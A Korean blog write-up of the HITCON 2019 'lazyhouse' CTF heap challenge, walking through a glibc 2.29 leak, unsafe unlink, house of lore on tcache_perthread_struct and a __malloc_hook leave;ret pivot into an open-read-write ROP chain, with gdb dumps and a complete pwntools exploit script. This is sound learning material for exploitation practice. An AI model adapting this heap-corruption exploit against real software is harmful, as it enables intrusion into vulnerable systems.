hitcon 2019 lazyhouse
정말.. 어려운 문제였다
일단 전체적으로 흘러가는 흐름은 다음과 같다.
mmap
셋팅 후calloc
으로heap, libc leak
unsafe unlink
로overlapping chunk
house of lore
로tcache_pertheread_struct
공격__malloc_hook
에leave;ret
orw
이용해서print flag
(mprotect
이용해서shellcode
도 가능)
근데, 이 위 과정이 진짜 미쳤다..
일단 이 exploit
은 balsn
의 writeup
을 설명해 놓은 https://syedfarazabrar.com/2019-10-24-hitconctf-lazyhouse-balsn-exploit-analysis/ 이 블로그를 참고했음을 알린다.
xxxxxxxxxx
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
whitelist
기반으로 샌박이 걸려있다.
execve
를 막아놓았다..
분석하면서 특이한 점들만 살펴보도록 하자.
fastbin
크기로는 할당이 불가능한데 calloc
으로 heap
을 할당해준다.
이 말은 즉슨 glibc 2.29
인 이 환경에서 unsortedbin
, smallbin
을 이용하여 공격해야 한다는 말이라고 받아들이면 되겠다.
그리고, money
검사에서 integer overflow
가 발생하므로 돈을 크게 불려줄 수 있다!
upgrade
함수에서 0x20
바이트 만큼 heap overflow
가 발생한다.
하지만.. upgrade
는 2
번 밖에 진행하지 못한다.
buy_super
함수에서 malloc
으로 0x217
바이트를 할당해준다.
여기서는 특이하게 calloc
이 아닌 malloc
으로 할당해 준다.
하지만 이 함수는 한 번만 부를 수 있음을 명심하자.
총합해 보면, glibc 2.29
환경에서 integer overflow
, heap overflow * 2
, calloc
, malloc*1
이와 같은 조건으로 flag
를 읽어야 한다!
문제를 풀면서 Angelboy
의 손바닥 위에서 노는 것이 느껴질 정도로 굉장히 제한적이다.
일단 그럼 leak
부터 스윽 따보도록 하자.
overflow
를 한 번 사용해서 freed_largebin
의 in_use, mmap bit
를 활성화 시키고 calloc
으로 할당해서 heap, libc
를 leak
할 수 있다.
그 이유는 밑의 코드에서 확인해 볼 수 있다.
// Don't zero out memory if the chunk's IS_MMAPPED bit is set
if (chunk_is_mmapped (p))
{
// Used for debugging purposes, ignored
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
이런 식으로 heap
과 libc
leak
이 가능하다.
gdb-peda$ x/16gx 0x55555555a2e0
0x55555555a2e0: 0x0000000000000000 0x0000000000000423
0x55555555a2f0: 0x4141414141414141 0x00007ffff7fb3090
0x55555555a300: 0x000055555555a2e0 0x000055555555a2e0
0x55555555a310: 0x0000000000000000 0x0000000000000000
0x55555555a320: 0x0000000000000000 0x0000000000000000
0x55555555a330: 0x0000000000000000 0x0000000000000000
0x55555555a340: 0x0000000000000000 0x0000000000000000
0x55555555a350: 0x0000000000000000 0x0000000000000000
그 후엔 unsafe unlink
로 overlapping chunk
를 진행하자.
xxxxxxxxxx
gdb-peda$ x/16gx 0x55555555a790
0x55555555a790: 0x0000000000000000 0x0000000000000091
0x55555555a7a0: 0x0000000000000000 0x0000000000000231
0x55555555a7b0: 0x000055555555a7a8 0x000055555555a7b0
0x55555555a7c0: 0x000055555555a7a0 0x0000000000000000
0x55555555a7d0: 0x0000000000000000 0x0000000000000000
0x55555555a7e0: 0x0000000000000000 0x0000000000000000
0x55555555a7f0: 0x0000000000000000 0x0000000000000000
0x55555555a800: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16gx 0x55555555a790+0x10+0x230
0x55555555a9d0: 0x0000000000000230 0x0000000000000610
0x55555555a9e0: 0x0000000061686168 0x0000000000000000
0x55555555a9f0: 0x0000000000000000 0x0000000000000000
0x55555555aa00: 0x0000000000000000 0x0000000000000000
0x55555555aa10: 0x0000000000000000 0x0000000000000000
0x55555555aa20: 0x0000000000000000 0x0000000000000000
0x55555555aa30: 0x0000000000000000 0x0000000000000000
0x55555555aa40: 0x0000000000000000 0x0000000000000000
위와 같이 피같은 overflow
를 마지막으로 써가며 unlink check
를 우회해 준다.
이젠, house_of_lore
로 tcache_perthread_structure
를 공격해야 한다.
xgdb-peda$ x/16gx 0x55555555a950
0x55555555a950: 0x0000000000000000 0x0000000000000221
0x55555555a960: 0x00007ffff7fb2eb0 0x000055555555a040
0x55555555a970: 0x0000000000000000 0x0000000000000000
0x55555555a980: 0x0000000000000000 0x0000000000000000
0x55555555a990: 0x0000000000000000 0x0000000000000000
0x55555555a9a0: 0x0000000000000000 0x0000000000000000
0x55555555a9b0: 0x0000000000000000 0x0000000000000000
0x55555555a9c0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16gx 0x000055555555a040
0x55555555a040: 0x0000000000000000 0x0000000000000100
0x55555555a050: 0x000055555555a950 0x000055555555a8c0
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x000055555555a710
0x55555555a090: 0x0000000000000000 0x0000000000000000
0x55555555a0a0: 0x0000000000000000 0x0000000000000000
0x55555555a0b0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16gx 0x000055555555a8c0
0x55555555a8c0: 0x0000000000000000 0x0000000000000031
0x55555555a8d0: 0x000055555555a040 0x0000000000000000
0x55555555a8e0: 0x0000000000000000 0x0000000000000000
0x55555555a8f0: 0x0000000000000000 0x0000000000000000
0x55555555a900: 0x0000000000000000 0x0000000000000000
0x55555555a910: 0x0000000000000000 0x0000000000000000
0x55555555a920: 0x0000000000000000 0x0000000000000000
0x55555555a930: 0x0000000000000000 0x0000000000000000
대충 위와 같은 방식으로 smallbin
의 bk
를 공격하여 tcache_perthread_struct
와 chain
을 만들어주면 된다.
이를 위해서 tcache_perthread_struct
에 fake_chunk
를 만들어야 하는데, 일단 완성된 fake_chunk
를 보자.
xxxxxxxxxx
gdb-peda$ x/16gx 0x000055555555a040
0x55555555a040: 0x0000000000000000 0x0000000000000100
0x55555555a050: 0x000055555555a950 0x000055555555a8c0
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x000055555555a710
0x55555555a090: 0x0000000000000000 0x0000000000000000
0x55555555a0a0: 0x0000000000000000 0x0000000000000000
0x55555555a0b0: 0x0000000000000000 0x0000000000000000
여기서 0x100
에 해당하는 부분은 0x3b0 size tcache
의 index
이다.
그리고, fd, bk
에 해당하는 부분은 각각 0x20, 0x30 size tcache
의 주소이다.
자, 여기까지 왔으면 우리는 이제 tcache_perthread_chunk
를 calloc
으로 할당받을 수 있으니 0x220 size tcache
의 주소가 있는 부분에 __malloc_hook
의 주소를 넣으면 __malloc_hook
을 덮어씌울 수 있다!
execve
가 막혀있기 때문에, one_gadget
은 부르지 못하고 leave;ret
을 이용하여 orw
를 해야 한다.
이 것이 가능한 이유는 밑의 사진을 보자.
calloc
내부에서 rbp
를 조작할 수 있기 때문에 leave;ret
을 통하여 rsp
를 heap
으로 바꿔주고 orw
를 진행하면 된다!!!!
from pwn import *
#context.log_level= 'debug'
e = ELF('lazyhouse')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla(': ', sel)
def buy(idx, size, house):
menu('1')
sla('Index:', idx)
sla('Size:', size)
sa('House:', house)
def show(idx):
menu('2')
sla('Index:', idx)
def sell(idx):
menu('3')
sla('Index:', idx)
def upgrade(idx, house):
menu('4')
sla('Index:', idx)
sa('House:', house)
def buy_super(data):
menu('5')
sla('House:', data)
def get_money():
menu('1')
sla('Index:', '0')
sla('Size:', str(((2**64-1)//218)+1))
sell('0')
get_money()
def leak():
buy('0', str(0x80), 'haha')
buy('1', str(0x410), 'haha')
buy('2', str(0x80), 'haha')
sell('1')
buy('1', str(0x500), 'haha')
upgrade('0', '\x00'*0x88 + p64(0x423))
buy('7', str(0x410), 'A'*8)
show('7')
ru('A'*8)
return u64(s.recv(8)), u64(s.recv(8))
libc, heap = leak()
l_base = libc - 0x1e5090
log.info('l_base: {}'.format(hex(l_base)))
log.info('heap: {}'.format(hex(heap)))
def clear():
for i in range(3):
sell(str(i))
clear()
def ex():
target = heap + 0x4c0
buy('6', str(0x80), p64(0) + p64(0x231) + p64(target+8) + p64(target+0x10) + p64(target))
buy('5', str(0x80), 'haha')
buy('0', str(0x80), 'haha')
buy('1', str(0x80), 'haha')
buy('2', str(0x600), 'haha')
upgrade('1', "\x00"*0x80 + p64(0x230) + p64(0x610))
sell('2')
pay = "\x00"*0x78 + p64(0x6c1) # index 5
pay += p64(0)*17 + p64(0x31) # index 0
pay += p64(0)*17 + p64(0x21) # index 1
pay += p64(0)*15
buy('2', str(0x500), pay)
sell('0')
sell('1')
sell('2')
buy('0', str(0x1a0), p64(0)*15+p64(0x6c1))
buy('1', str(0x210), 'A'*0x210)
buy('2', str(0x210), 'B'*0x210)
sell('2')
buy('2', str(0x210), '\x00'*0x148+p64(0xd1))
sell('2')
for i in range(5):
buy('2', str(0x210), 'a')
sell('2')
buy('2', str(0x3a0), 'A'*0x3a0)
sell('2')
sell('1')
buy('1', str(0x220), 'A'*0x210)
sell('5')
heap_base = heap - 0x2e0
tcache_fake = heap_base + 0x40
smallbin = l_base + 0x1e4eb0
pay = "\x00"*0x98 + p64(0x31)
pay += p64(tcache_fake)
pay += "\x00"*0x80 + p64(0x221)
pay += p64(smallbin) + p64(tcache_fake)
buy('5', str(0x6b0), pay)
pop_rdi = l_base + 0x26542
pop_rsi = l_base + 0x26f9e
pop_rdx = l_base + 0x12bda6
pop_rax = l_base + 0x47cf8
syscall = l_base + 0xcf6c5
pay = "Z"*0x18
pay += "/home/krrr/flag".ljust(0x20, '\x00')
pay += p64(pop_rdi) + p64(heap_base + 0xa68 - 0xf0)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rax) + p64(2)
pay += p64(syscall)
pay += p64(pop_rdi) + p64(3)
pay += p64(pop_rsi) + p64(heap_base)
pay += p64(pop_rdx) + p64(0x100)
pay += p64(pop_rax) + p64(0)
pay += p64(syscall)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi) + p64(heap_base)
pay += p64(pop_rdx) + p64(0x100)
pay += p64(pop_rax) + p64(1)
pay += p64(syscall)
buy('3', str(0x210), pay)
m_hook = l_base+l.symbols['__malloc_hook']
buy('2', str(0x210), p64(0)*0x20 + p64(m_hook))
leave_ret = l_base + 0x58373
buy_super(p64(leave_ret))
menu('1')
sla('Index:', '4')
sla('Size:', str(heap_base+0x990))
ex()
io()
'system > writeup' 카테고리의 다른 글
2019 csaw final arevenge (0) | 2019.11.29 |
---|---|
2019 hack.lu chat (0) | 2019.11.12 |
2019 hitcon trick_or_treat (0) | 2019.11.04 |
2019 codegate maris_shop (0) | 2019.11.03 |
2019 hack.lu no_risc_no_future (0) | 2019.11.03 |